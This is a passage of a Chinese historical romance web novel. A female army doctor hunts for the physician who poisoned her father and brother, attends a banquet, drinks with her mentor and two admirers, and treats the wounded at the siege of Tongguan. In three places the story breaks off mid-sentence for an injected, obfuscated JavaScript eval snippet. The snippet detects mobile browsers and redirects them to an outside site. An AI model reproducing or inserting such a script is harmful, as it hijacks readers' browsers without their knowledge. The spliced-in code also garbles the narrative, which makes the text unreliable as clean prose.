她会记得,是因为母亲当日随手拿了药方,教她认字写字。 慕音不由得攥紧了纸,尽量让自己的声音显得平静无波,问:“可知是哪位军医?” 妇人道:“好似姓宋,但也不太确定,过去太久了。” 妇人退下,慕音拿着药方,在灯下又逐字逐句核对,确然是朱同所开药方。 朱同在汴京?他还活着?父亲和兄长是他下毒杀死的?是不是王照授命他如此行事?父亲与兄长亡故后,尸身有无人收殓? 她心头剧痛,凝视着白纸黑字,咸阳行宫里血腥的一夜又浮现在眼前。 父亲被废后,他一家人迁入咸阳行宫,闭门不出,低调度日。然后,不过一年,世家就下了杀手,毒药就下在酒菜之中。那是中秋夜,月色正好,万家团圆。 汝阳公主、堂姐慕容婉,当时还是秦王王照的妃子,想方设法让人递了消息进来,让他们快走。 一家人仓促间出逃。古行宫里有地道,纵横交错,父亲、兄长为引开追兵,制造混乱,最后被抓。母亲带着她和弟弟,跌跌撞撞穿过漫长黑暗的甬道,侥幸逃脱。行宫外,有接应的奴仆,都是附近帝陵的守墓人,当年曾受父亲恩惠,免于殉葬。 月色惨白凄清,映照在山野之上。山道中,马车疾驰,打乱一夜安宁。他们如丧家之犬,只想觅得一线生机。 然而,哒哒的马蹄声传来,追兵赶来了。弓箭破空的声音,士卒兴奋喊杀的声音,马匹嘶鸣的声音,不断倒下的宫人,鲜血染红了月色,血腥气息弥漫在空气中。 母亲推着她和弟弟下了车,让他们匿身林间,自己驾车去引开了追兵。 慕音颓然坐着,泪水从眼角滑落,她的心仿佛被利刃穿心而过,呼吸不过来。不能回想的过往,总在不经意之间,就给她重重一击。过不去,忘不掉,从此后,再美的月色亦如血色。 第二日,慕音将药方给了皇甫仲,说是问题就出在这上面。皇甫仲一看,一拍大腿:“哎呀,这是药性相克了。平时用的药剂里就有大量的安神药,再加上曼陀罗花,无形中加重了药性。” 两人斟酌着,熬制了与曼陀罗花相克的醒神汤药,给崔夫人服下。 这天下午,崔夫人终于醒了过来。崔家上下一片喜气洋洋,崔冲备了一车厚礼,羊肉牛肉,蔬菜瓜果,布料药材,亲自送到医药馆。 医馆众人得知慕音剖腹取子,救下崔家母子,纷纷惊奇,与有荣焉,对待慕音更是亲近友爱。 慕音再一次投入到了医药馆的事务中,将往事沉入心底,再不去思考半分。多想无益,只有早一日进入关中,她就有机会手刃仇人。她会亲手了结那些在她噩梦中出现的仇人,从而结束她的噩梦。 最近没有大的战事,医馆里的伤兵逐渐都痊愈,返回军营。医士们就忙着准备药物,备战秦国王照。她跟着皇甫仲上山采摘草药、炮制药丸、编制简易药典,异常忙碌。 从汴京要进入关中,潼关是必经之地。王家在关中经营多年,本就是关中望族。潼关险峻,易守难攻,王照驻扎了二十万大军在此。守城大将是军功赫赫的独孤茂,将城池守得固若金汤。因此,军备武器、粮草药物,都必须备足,攻城之战绝不轻松。 须臾就要过去一个月,慕音收到了崔夫人的请柬。原是那小儿满月酒,盛邀慕音参加,除了慕音,谢时、皇甫仲、高琅均在受邀之列。崔冲心怀感激,又是做生意的,长袖善舞,八面玲珑,亲自将请柬送到各处,以表诚意。 于是,到了满月酒当日,皇甫仲带着高琅和慕音一同前去崔府。谢时在军营中忙于训练,未必有空出席。 崔府早已是张灯结彩,大红灯笼挂了一整条街,门前街道上都是来赴宴的亲友商家,车马声人声不断。还离府门远远的,就听到宅中传来的喜乐声,本地戏班正在演奏《儿女乐》,喜气洋洋。 崔冲见到慕音三人,忙迎上来,亲自领他们进去。一路上,打招呼的人不少,听到崔冲说这就是当日救下崔夫人的军医时,人们的眼神满是崇敬,都竞相过来要看看神医是什么模样。当日给崔夫人生产的几个产婆,早在这段时日里将这剖腹取子的离奇故传遍了整个县城。 只说当日崔夫人生产凶险,险些一尸两命,忽然来了一妙龄少女,恐怕是送子观音座下玉女所化,下手如有神,不过一刻钟就剖腹取子,母子平安。这故事一传十,十传百,人人都好奇。 慕音就在一叠声的问好中,几乎落荒而逃地去了崔府后院。后院多是与崔夫人交好的妇人,正聚在小床边看那满月的小婴儿。 那日夜里看着奄奄一息、似小猫一样虚弱的胎儿,经过一个月的将养,已经变得白白净净、圆滚滚、胖乎乎,裹着大红色的襁褓,戴着一个金子做的长命锁。他咿咿呀呀地蹬着手脚,葡萄般的眼珠子,眨巴着,看着面前的妇人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282077|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔夫人坐在一旁,面上带着温柔清浅的笑容。她月子显然休养得不错,面色红润,眉目舒展。 崔冲领着慕音进来,崔夫人并一众妇人都望了过来。崔夫人这才算是第一回见到当日救下自己的少女。她忙起身行李,向慕音致谢。“若非是你,我不能有今日。不若你给我儿起个小名,叫他记着自己来时的路。” 慕音推辞再三,崔夫人仍旧坚持。慕音想了想,笑道:“不如叫团圆?”生逢乱世,骨肉离散,若能阖家团圆,该是幸事。崔夫人笑着点头应下了。 慕音这才问起崔夫人关于药方的事情:“当日治你头疼的药方,是哪一位军医给你的?姓甚名谁?夫人可还记得?” 崔夫人回想了片刻,方道:“那时,我是有事去探望琅儿,并非刻意去寻医。到了医药馆,恰巧碰上了,他正匆忙外出,不慎撞到了我的奴婢,砸坏了我的东西。他便觉得要有所补偿,就提笔写了这个药方。回家之后,我也没有立刻去用。过了一阵,头疼还是不曾缓解。于是,就拿着药方去问了相熟的郎中,都说是好方子,可以一试。我服药了一段时间,果然是有所改善,这才再去医药馆,但并没有见到这位军医,询问了医药馆的郎中,他们也不知道我说的是何人。后来,此事就搁置了。” 慕音犹不甘心:“可还记得他的样貌?年龄?身高?” “大约是五十岁上下,蓄着胡子,看不清楚长相,身高的话也不太记得了。” 慕音知道问不出来什么了,没有再问,转而询问崔夫人的身体状况,又给她诊了脉,叮嘱她注意事项。 朱同想来就在大周军中,皇甫仲那里估摸着会有大周军医的名录簿册,她找个理由借来,看能否找到蛛丝马迹。 恰好这时,高琅也进来后院,看望姨母和新生的表弟。他是崔姨母的外甥,又好几年都出入崔宅,这院里许多妇人都认得他,说话也很是熟络。 高琅很有耐心地与众人寒暄完,方笑着对慕音说:“师父喊我们去外头喝酒了。你不是一直想尝尝西域来的葡萄酒么?舅父恰巧有从西域胡商那里买来的上好葡萄酒。” 他模样清秀,身材如青竹一般秀挺雅致,但对着慕音说话,又有些腼腆。厅中多是已婚妇人,一看他的神色,便知是小儿郎慕少艾了。再一看慕音,浅麦色皮肤,眼睛明亮有神,身姿轻盈纤细,俏生生妙龄女郎。只是,少女神色坦荡自若,显然是落花有意流水无情了。 众人就打趣起来:“哎呀,这是送子娘娘座下的金童玉女都来到咱们家了啊!” “琅哥儿,我也想喝葡萄酒啊,怎么不喊我一起呢?” “岂止葡萄酒,可要多喝几种,葡萄酒甘醇,云山春清冽,梅子酒清甜。” “那肯定是梅子酒最适合了。青梅竹马一起喝酒,正是最好。” 还是崔夫人笑着打断了她们的打趣:“好了好了,你们是唯恐天下不乱。他们还年轻,经不住你们这般起哄。”她对慕音再次道谢,又叮嘱高琅道:“慕娘子是咱们家的贵客,你今晚好生招待她。” 高琅和慕音两人方得脱身而出。 12. 美酒 崔冲说的葡萄酒果然是好酒。皇甫仲、高琅、慕音师徒三人,在花园一角寻了一个亭子,避开了前厅的人群,寻个清净。 他们乃是医士,皇甫仲早就被称为神医,连周王都礼遇三分;慕音一战成名,刚刚出炉的神医,热乎着;高琅呢,渤海高家嫡支子弟,精通医术药理,前途也是不可限量。因此,只要一露面,就有人前来攀谈结交。 皇甫仲不胜其扰,只得拎了酒坛子,带着两个弟子,逃遁去了后花园。皇甫仲已经正式收了慕音为徒,只要想到自己的毕生绝学后继有人、甚至会青出于蓝而胜于蓝,他就恨不得多喝几碗葡萄酒。 崔冲为人豪爽,实则粗中有细。譬如这葡萄酒,他就让婢女给奉上了白玉酒杯,玉色纯净,毫无杂质。暗红色的酒液倒进去,这酒杯宛如夜光一般。甘醇的酒气弥散在空气中,未饮已先醉。 “怪道说葡萄美酒夜光杯,实在是美不胜收啊!今夜当浮一大白,浮一大白!”皇甫仲拿起酒杯,仰头望天,一饮而尽。 中秋节将至,月色皎洁,明星舒朗,天高云阔,木叶潇潇,美酒下肚,皇甫仲心中生出豪迈之意,对两个弟子道:“当今天下,自十年前大齐朝覆灭,四分五裂,世家割据一方,秣马厉兵,逐鹿中原,问鼎大业。几大诸侯,秦王王照,霸占关中,关中富庶,数代王都,乃是周王在北方的劲敌。淮扬袁正,富产盐铁。江东欧阳慎,鱼米之乡、丝绸瓷器行销天下,水军控制长江。蜀中公孙义,据守天险,安居一隅,隔山观虎斗。长沙陈焕,休养生息、深得民心,不轻易参与争端,维持局面平衡。” “如今,和平的局面维持不了多久了。”皇甫仲叹了一口气,道,“长太息以掩泣兮,哀民生之多艰!乱世之中,只能以战止戈。大周军要面对的敌人,都各有优势。一旦开战,必有伤亡。我们身为军医,接下来要面对的,你们要做好准备。” 看来很快要开战了,慕音明白了过来。她握着酒杯的手指不由得紧了紧,白玉冰凉而坚硬,顺着她的手指而上,直抵她的心口。她需要努力的压抑住自己胸口翻滚的情绪,她盼望着开战已经很久了,她想要回到长安去,回到太极宫。 皇甫仲看向慕音,声音中带了些慈爱,问:“你是女郎,到前线多有不便。真若开战,不如你在后方?待战毕,你再跟随韩老七他们跟上。” 慕音立刻摇头,“不,我要去前线。”她要第一时间进入长安,进入太极宫,找到王照,找到当初的真相。 皇甫仲看她如此急切,摇头笑骂一句:“怪道韩老七说你固执!为何你一定要去前线?” 慕音眼帘微垂,道:“我养母双目有疾,模糊难以视物。听我师父说,前朝宫中太医院的医术记载着如何行手术叫人复明。” 她抬起眼里,琥珀色的眸子清澈而坚定:“我要去找到这本书,找到治病的法子。” 皇甫仲一边听着,一边捋着胡子,频频点头,“原来如此。”这就难怪她一直想进军营了,原来是有这个便利在。 一旁的高琅也喝了一杯酒下肚,面色潮红。听得慕音这么说,他心中又添几分怜惜,更加了些许赞赏。为了给母亲医治眼疾,一个小娘子竟能下这么大的功夫修习医术,还随军行医,非心志坚定者,又怎能做到。 他再倒了一杯酒,与慕音碰杯,道:“阿音你对母亲至纯至孝。你与我说说,要寻找的医术或者药方是什么样子的?等将来入了……,我来帮你一起找。多一个人,总能找得更快的。” 慕音与他碰杯,一口喝了下去。酒液滑过喉咙,甘醇浓香,入口时觉得如同果酒,叫人不觉得沉醉。多喝了两杯,才发现酒的后劲强烈,酒意上头,面皮发热,面色也染上了一层薄薄的红晕,如同烛光下的暖玉,莹润剔透,平添几分温柔之意。 听到高琅如此说,慕音目光带笑,小小的梨涡如一朵清浅的花儿,在她唇边绽放,她伸手拍了一下高琅的肩膀,道:“子珩,你可真讲义气!” 高琅听了她这一句赞许,乐呵呵地笑着。 这时,从假山处转出来一人,却是谢时。他穿着一身黑色胡服,面如白玉,在月光下愈发显得丰神俊朗。 “原来你们躲在这里喝酒,叫我好找!”谢时本不欲出来的,但看皇甫仲与高琅对慕音如此照顾,全然都当做自己人了,心中不畅。 此女身份尚未明朗,皇甫老儿怎能如此掉以轻心,倾囊相授?高琅更是糊涂,没经历过历练的世家公子,见着女郎就走不动道了。 待走进亭子,一看桌上的酒,再看慕音略带迷离的眼光,声音捎带上了斥责:“葡萄酒后劲大,你怎么喝这么多啊?小心一会醉倒了。” 慕音摆摆手,取来杯子,给谢时也倒来一杯:“将军,这葡萄美酒真是好喝,甜甜的,流进人心里。” 谢时接过酒杯,两人指尖不意间触碰了一下。从前微凉的手指尖,此刻滚烫滚烫,仿佛火炭一般。谢时不由得皱眉,“你这是喝了多少?” “没多少啊,就两杯……三杯……啊不是现在是第四杯了!四杯,不多呢!”慕音伸着手指,算着。 高琅看她这般模样,实在是娇憨可爱,忍不住哈哈一笑,“阿音可还想继续喝?咱们今晚不醉不归!” 谢时一张俊脸微沉下来,拍了拍高琅的肩膀,道:“去找人送些醒酒汤来!” 高琅哎呀一声,肩膀上火辣辣地,他有些奇怪地看向谢时,但立刻对上谢时横过来的眼神,忙应道:“好的,我这就去,这就去!” 慕音嘟囔道:“啊,我不喝醒酒汤,我要喝葡萄酒!还没喝痛快呢!”这段时日,忙忙碌碌,无意间找到朱同的行迹,又将要对王照开战,慕音心中多了几分畅快,难免有饮酒的兴致了。 谢时没好气地看她一眼,对着走下亭子的高琅喊道:“再拿点青梅酒来!” 慕音这才满意了,笑着对谢时说:“将军,你坐。” 谢时径自在方才高琅坐的位置做下,嫌弃地把高琅的酒杯放到了另一侧,隔开了慕音和高琅。 “我姓谢名时,字子盛。”谢时坐下,板着脸对慕音道。 慕音一愣,怎的这时候自报家门呢?想到他是自己进入长安后能够自由行动的保证和后盾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282078|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑着夸赞起来:“将军这名字取得好呀,因时而生,生而盛起。” 看着她的狗腿样,谢时更是气不从一处出,怎么跟高琅就以字相称,到了他就还是口口声声的“将军”?她就不能领会一下自己的意思? “说说你要找的医书,藏在哪里了?”谢时闷声喝了一杯酒,平顺了心气,问。 慕音侧头道:“哎,将军你也能帮忙?那真是太好不过了。” 她大喜过望,小小梨涡变深了。“听我师父说,在从前太医院的典籍里,有记载过类似的病症。如此推算,在长安旧宫中可能有医治方法的记载。也就是要去看太医院典籍,还有太极宫的藏书了。” 谢时点头:“我记住了。”到时候,须得严令部队士兵,禁止纵火,保留宫苑典籍。倒不是为了慕音,而是长安旧宫中应该还有许多传世的典籍,能保存下来也是一件好事。 谢时还要待说什么,高琅的声音传了过来,“青梅酒来了!” 高琅拎着两坛子青梅酒,跑着进了亭子,“刚转出花园门口,就见到送酒的婢女,顺手拿了两坛子来。” “咚咚”两声,酒坛子就搁在了石桌子上。高琅看了一下自己被霸占的位置,“咦”了一声,只得不情不愿地在谢时身旁坐下,隔着慕音老远了。 “阿音,这青梅酒也不逊色于葡萄酒,你尝尝!”高琅热情地招呼起来,就要伸手拿慕音的空杯子给她倒酒。 谢时却隔开了他的手,眯着眼问:“醒酒汤呢?” 高琅收回了手,看向谢时,将军今天是怎么了?“让婢女去端了。” “她酒气上头,不能再喝……”谢时话音未落,就见慕音站起身来,伸手拿过青梅酒的探子,拔开了木塞,深吸了一口气。 “好香!这个也好喝呀!”她立刻给自己倒了一杯,一口下肚。 谢时&高琅:…… 高琅收回了手,哈哈大笑。 谢时有些羞恼,要收走慕音面前的青梅酒,“真是能耐了,喝这么多!” 慕音扯着酒坛子不撒手,含糊不清地喊:“这个好喝,比葡萄酒还好喝,好甜好甜,像小时候我母亲酿的酒!” 谢时一愣,见她一双美眸含烟带雾,嗓音多了几分娇嗔,如此形态,与平日那个利落下刀的女医者很是不同,倒仿佛是母亲娇养在闺中的小女儿。想起她如今只有父母双亡,孤身一人入军营,不由得叹息一声,终于是放开了扯着酒坛子的手。 “那就再喝三杯,好不好?再多的话,明天要头疼。”谢时低声说道。 慕音抱着失而复得的酒坛子,连连点头,双目笑得像月牙:“好的,就三杯。将军,你真好!” 谢时一时失笑,忍不住伸手,本想戳戳她的梨涡,但想到皇甫仲和高琅还在此处,最终是改为揉了揉她的发顶。 高琅举起酒杯:“来,三杯!喝!对月畅饮,不醉不归!” 得,这又是一个喝醉而不自知的。 皇甫仲端着酒杯,又一杯美酒下肚,一言不发,只笑眯眯地看着三个年轻人。葡萄美酒好,年轻可真好啊。 13. 潼关攻防战(一) 汴京建平八年秋末,大周军对秦国潼关发起了进攻。北方两大诸侯,正式开战。 那天喝完酒后,军队就进入了紧张的备战状态,每日训练不停,武器粮草源源不断送往潼关附近,连军医都需要随行,到达更为前线的地方,以便开战之后救治伤兵。 皇甫仲将高琅留在了医药馆里,一再叮嘱他,照管好此地。尧县的医药馆,就相当于是战时的后方。大批的药材需要在此处存放,救济的药丸需要在此处炼制。皇甫仲和慕音在这些时日里,已经将曼陀罗花制成药丸,战场上熬制汤药恐怕来不及,药丸可以救急应用。 高琅善于医理药学,为人细致,但真面对伤患要做手术,却犹豫不决,因此实在不适合到战场上去。慕音手术干脆利落,反而是去战场的好人选。 潼关号称“一夫当关,万夫莫开”,数百年来居于关中与汴京的往来要道之上。不克潼关,进不去关中,若克潼关,则关中长安指日可待。 潼关距离长安,约三百里的距离,大军十日至十五日内就能抵达。潼关之后,在渭水河畔有华州城,驻军三万人。华州过后,就是长安。倘若潼关破,华州几乎不可能提供像样的抵抗。 潼关守将独孤茂,乃是秦王王后独孤容的同胞兄长,年约四十,早年在西边边境对战回鹘,战无不胜,在秦国有极高的威望。如今,领兵二十万,镇守潼关。 大周军这次也是准备半年有余,扫清了两国边境游荡的山匪,保证后方安宁。本来该是周王世子谢昭作为行军大元帅的,但是,周王谢承业旧伤复发,不能上马,而契丹可汗耶律绪在汴京北边虎视眈眈,有大军集结的动作,谢昭需要镇守北边山海关。 但战局时机,不容延误,周王敕令其三子谢时持大军虎符,行元帅职权,领四十万将士攻击潼关。 两方排兵布阵,战事一触即发。 大周军中军帐,谢时坐在上首,他面无表情地把玩着匕首,看着面前的沙盘出神,听着耳边幕僚将领的讨论。 十几个将领幕僚,正在底下就对于如何攻占潼关,纷纷提出自己的想法。 “潼关牢固,若是硬攻,无异于鸡蛋撞石头,必败无疑!”幕僚李渡蹙眉。李渡是个相貌平平的中年文士,但是有种气定神闲的气质在。 “独孤茂有啥好怕的,用上投石机,潼关的城墙也能给他打趴!”骁骑将军窦筑邦粗着嗓子喊道。他在此前扫平汴京附近的割据势力时,改善和使用了投石机,巨大的石头直接砸在城墙上,士兵殒命不说,多打几次,城墙总会撑不出。 “不可,不可!”李渡摇头,道,“潼关城墙十丈,历代层层加固,与此前我们攻克的小城池不一样。投石机笨重,也没办法连发,十发之内砸破城墙的可能性太低了。” 当前的投石机,因为笨重,一次对战中有三五台已经不错。而且,需要使用巨石,也需要提前备好,能准备的也不可能很多。因此,投石机投石下去,可能没有任何效果。 窦筑邦顿了一下,又道:“不如火攻?投石机投燃着的火油进去,烧城。” 李渡依然摇头:“城墙之上,都是石头,无可燃之物。没有办法造成大的火势,只能增加一点士兵的害怕罢了。” 一旁听着的另一将军桓廷不耐烦了:“这也不行,那也不行。那要怎么打?”说罢,看着穿了一身道袍的李渡,文人墨客,娘们唧唧的,光会嘴皮子说。 “诸位将军稍安勿躁,稍安勿躁。”李渡挺直了腰板,说,“擒贼先擒王。潼关难攻,绝不在于城墙坚固,而在于独孤茂。若能除掉独孤茂,潼关何惧?” 谢时摩挲着匕首的手微微一顿,抬眼看了一眼李渡。 窦筑邦冷哼一声,道:“那不是说潼关的城墙坚固么,还有人能飞进去,把独孤茂给抓走了不成么?” 桓廷却琢磨出来些味道来:“既然不是武力,那肯定是智取。谁能调走独孤茂呢?” 一时间,帐内众人都安静了下来,看着李渡。 李渡这才微微一笑,用手指了指地图上的位置:“长安,秦王王照。” 窦筑邦一时也转过弯来了,蒲扇般的大手拍在了李渡的肩膀上,笑道:“哎呀,李先生,方才多有得罪,多有得罪。快教教我,怎么不战而屈人之兵。” 李渡却摇头,道:“不,仗还是要打,要狠狠地打,然后,我们才有把握,让王照召回独孤茂!” 谢时这时将匕首插入了沙盘上长安所在之处,笑着说:“真有意思,我明白了。我有一个人要送给先生,王照一定会召回独孤茂的。” 这一夜,中军帐中灯火彻夜未息。 潼关城中元帅府里,幕僚将领也是彻夜未眠。 独孤茂约四十岁左右的年龄,面容清癯,留着长须,一身道袍,风采过人。他本是前朝进士出身,后领兵打仗名震四方,是有名的儒将。 他带兵将近二十年,此刻堂内俱是嫡系亲兵,唯独孤茂马首是从。 “还是元帅英明,早料到谢承业狼子野心,迟早要打上一仗。潼关天险,我们准备充分,城中屯粮充足,便是打上三年五载,也不惧他!”麾下一个紫面大汉说道。 “武器弹药呢?可都核查清楚?人员排布轮防,又做何等安排?”独孤茂一项一项问下去,手下将领一一回禀。 弓箭、弓弩、火箭均有大量准备,足可以应付战争。城墙在年内已经加固了一次,一般投石机攻击难以打破。二十万人守城,兵力充足,从弓箭手、火箭手、弓弩手、步兵、传令兵、后勤兵、军医等均已安排妥当,各有归属和路线。甚至设置了机动部队,相机行事,必要时候替补。 独孤茂一一听下来,最后抚须点头,眼神平静而笃定,看着一众将领,道:“敌攻我守,我们守的又是潼关这般天险。只要不出城应战,谢时不可能有机可乘。第一战,谢时必败。” 主将如此斩钉截铁的话,无疑给了将领们更大的信心。会议结束,众人散去,都摩拳擦掌想着如何在即将到来的战役中杀敌,为自己增加新的军功和荣耀。 待众人去了,议事堂中只留下了独孤茂和紫面大汉。这紫面大汉名唤石础,是独孤茂的心腹。 独孤茂负手而立,望向窗外,问:“剑阁、陈仓和玉门关这几处,可有来信?” 石础奉上书信两封,放在案几之上,道:“剑阁和玉门关的回信已经收到。蜀中公孙义也在秣马厉兵,蠢蠢欲动,似乎在观望潼关的战局。玉门关外,回鹘骑兵也在集结。然而,剑阁和玉门关如今兵力武器都不足,还在从各地紧急抽取壮丁。”他面色凝重,不复方才议事时的信心满满。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282079|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >关中西南面接壤蜀国,剑阁、陈仓是为重要关隘。西北面则接回鹘,玉门关不能有失。蜀中、回鹘、汴京都对关中虎视眈眈,若是秦国三面应战,着实吃力。 独孤茂皱眉,道:“早两年,我便已经提议陛下,需要将剑阁、陈仓和玉门关这几处的做好兵力排布。谁知一拖再拖,到了今日。恐怕谢承业也是知道些内情,才选了此时进攻。” 石础叹了一口气,道:“陛下也想早日做好兵力排布的。只是,去年蝗虫成灾,今年又遇旱灾,民不聊生,哀鸿遍野。无论是纳税贡赋,或者是抽取壮丁,都难上加难。” 独孤茂深深闭目,挥手让石础退下了。 三日后的清晨,伴随着嘹亮的号角声,大周军发起了对潼关的进攻。 最初的攻击是由投石机发动的,巨大的石头从天而降,砸落在城墙之上。惊天的巨响,震耳欲聋。来不及躲开的士兵瞬间粉身碎骨,血肉模糊,其形状之恐怖,让旁观的士兵都瑟瑟发抖。 巨石过后,便是火球,硕大的火球砸落在城墙之上,燃烧起来。若是落在士兵身上,尖叫惊呼的声音不绝于耳。 但是,与谢时预计的一样,投石机是难以持续的。无论巨石还是火球,都是有限的,难以持续投放。潼关的守兵经过了第一轮的攻击之后,变得冷静下来,按照将领们此前的安排,抵挡大周军的进攻。 弩箭和弓箭如雨一般射了出去,想要攻击城门的士兵遭遇了猛烈的反击。攻城步兵虽然拿着盾牌,但是,弩箭尖锐,力量是寻常弓箭的五倍不止,盾牌都可以被刺穿,甚至裂开。 那些失去盾牌保护的士兵,在箭雨之中很快变成刺猬,倒地流血而亡。更多的士兵冲了上来,踏着同伴的尸体,借着盾牌的掩护,向前、向前、向前,冲到城墙下。 云梯竖了起来,然后,汴京士兵才爬上去,滚烫的热油从天而降,士兵们叫喊着呼通着从云梯上摔下。 战场上杀声震天,巨石砸落声、弓弩破空声、喊杀声、痛呼声,混杂在一起,分辨不出来。 谢时领着敢死队三千人,去攻击城门。第一次身为大军主帅,他并没有坐守中军帐的习惯。韩平初、窦筑邦等将领都请他坐守后方,总领大局,但李渡去赞同他这一行动:“将军身为主帅,却身先士卒,一来鼓舞士气,二来显示出对此战的重视,三来也说明将军少年意气、不够稳重,可以麻痹敌方,让他降低戒备。这对我们的计划很有帮助。” 一众武将无话可说。于是,谢时领兵出战。 盾牌是早已改良过的,精钢所制。每一百人人组成一个方阵,盾牌平放与头顶,集体前进,阻挡来自城墙上的箭雨。待到城门下,盾牌掩护攻城柱的使用,巨大的铜柱撞击城门,寻求破门的机会。 在凌厉的箭雨之下,不少方阵队形最后破裂了,无法坚持到城墙之下。能够坚持到城墙之下的队伍,面临着从天而降的石块和热油。石块巨大的撞击下,盾牌东倒西歪,士兵暴露;再倒下热油,士兵就烫伤受伤了。 这一战从晨光熹微站至夕阳如血,大周军鸣金收兵。士兵退去后,便可见到城下堆积的尸体,燃烧的旗帜,破损的武器,焦黑的土地和城墙。空气里都弥漫着血腥气。 慕音在战场临时盖起的医馆里,看到了从战场上源源不断下来的伤兵。 14. 潼关攻防战(二) 这一天的攻城战,大周军战死者数百,伤者千余人。死者尸首停留在战场上,近城池下方的,根本无法取回。将领们只能以鸣金收兵后的人数来计算。 士兵在撤退的过程中,看到受伤的还有活气的士兵就一起往后带走。他们或许是同乡,或许是同一个队伍的,或许昨夜还一起枕戈待旦,一起畅想着战争的胜利,回家乡去见还在等待着自己的女郎。 然而,许多士兵来不及到达医馆,就会倒下,躺在树下或者路边,从怀中小心翼翼地取出家人给的最后的慰藉。也许是一个平安符,也许是一封书信,也许是一张帕子。在许多个夜晚,他们都曾以此来幻想着天下平定、荣归故里。如今,都随着滚滚硝烟而结束了。 涌入医馆的士兵是这样多。虽然已经调集了大批的军医,依然是不够用的。不过,士兵们都已经习以为常,他们都懂得清洗和包扎普通的伤口。只要有药,一切都不成问题。 取药的士兵熙熙攘攘挤满了狭小的医馆,军医们忙碌着派发药物和绷带,喉咙早已干哑得说不出话来,连喝水的时间都没有。 重伤的士兵陆续地抬进了医馆临时搭建起来的处置间里。地上横七竖八地躺满了伤者,有的已经昏迷,有的痛苦地呻吟着。 并没有足够的医士,能够帮助这些重伤的士兵。皇甫仲临时找来了几个轻伤的士兵,让他们给重伤员服下麻药丸,洒下止血散,暂缓他们的疼痛和流血。更多的后续判断,由几个有手术经验的医士去完成。 他们要去挑选,最容易做手术、最可能活下去的伤兵,将这样的伤兵送到最里间的治疗间去。 慕音从这样的伤兵中走过。有的人断了胳膊,断臂处血肉模糊,血已经黑色结痂,士兵痛哭着:“我的手臂!我的手臂!”。有的人断了腿,断掉的腿以奇怪的方式扭曲着,仿佛破碎的石头人,士兵眼神空白地看着虚空,似乎看到黑白无常正在索命本上写画。有的人胸口中箭,长箭随着呼吸微微颤动着,双眼紧阖,面色青紫,处在将死的边缘。有的人头部和肩膀被热油烫伤,起了巨大的脓疱,口不能言,只能满怀希翼地看着医士,目光里满是恳求,求医士救他。 偶尔,会看到一些士兵嚎啕大哭。那是重伤员咽下最后一口气时,他身边的兄弟同袍的痛哭声。在一起训练数月、一起吃饭睡觉的伙伴,就这样离开了这个世间。而自己,在明日,在接下来的任何一次攻城战中,都有可能死去。这是近在咫尺的危险,以如此猝不及防地方式让每一个新兵明白,战场的残酷。 老兵们或许已经习惯,他们要沉默得多,安静地帮忙着收敛尸体,拍拍那嚎啕大哭的新兵,继续去救治其他的人。 慕音首先要救治的是中箭不深、或者轻微烫伤的士兵。箭伤不深,把箭取出再止血,很快就能完成。烫伤范围不大,只需要敷上去腐生肌的药膏,保持伤口的干净,也能很快基本康复。再次是断胳膊或者断腿的人,在麻药的帮助下,士兵失去意识,医士能够快速而安静的截肢并缝合伤口。由于麻药的使用,士兵醒来后,也感受不到伤口的剧烈疼痛,能够更好地等待伤口恢复。 这两类伤兵之外,还有不少重伤士兵。弓箭穿胸而过、全身重度烫伤、腹部箭伤、巨石碎片砸中胸口肋骨尽断,全凭着一口气,忍着剧痛,下了战场,被送至此处。 大多数情况,其实没有办法处理。这样严重的伤口,一来手术过程漫长,二来活下去可能性很低。慕音只能给他们安神丸,安神丸的药性比麻药轻一些,减缓他们的痛苦。 激战后的一夜一日,慕音忙碌着,都没有睡觉。 她和皇甫仲一直在手术间里,不断地手术。刚开始,她还会感到震惊、触目惊心,被一种巨大的恐惧和无力感包裹。纵使她医术了得,在乱世之中,也救不得了几个人。甚至,就算她救活了这些人,他们还将再一次上战场去,一将功成万骨枯,到天下一统那日,不知道这些士兵还有多少人尚在人间。 一夜过去之后,她变得麻木了。不断地有伤兵进来,她机械地执行着手术,判断伤口,确定治疗方法,手起刀落,缝针,完成,下一个伤兵。 直到第二日的午间,她短暂地出去,胡乱地啃了一个胡饼,喝了几口牛骨汤之后,她再次进去手术台。她在手术台上看到了蒋大龙,那个在尧县医馆对她热情以待的士兵。 她的心猛地一跳,手微微发抖起来。 蒋大龙面色苍白,双唇毫无血色,他的双腿被落石砸中,腿骨尽断。看到她来,嘴角扯出一个笑容来:“慕娘子,得麻烦你给我处理伤口了。” 那一瞬间,一股巨大的悲凉突然涌上了她的心头,慕音眼睛发酸,她忍住泪意:“好,你睡一会,很快就会处理好的。” 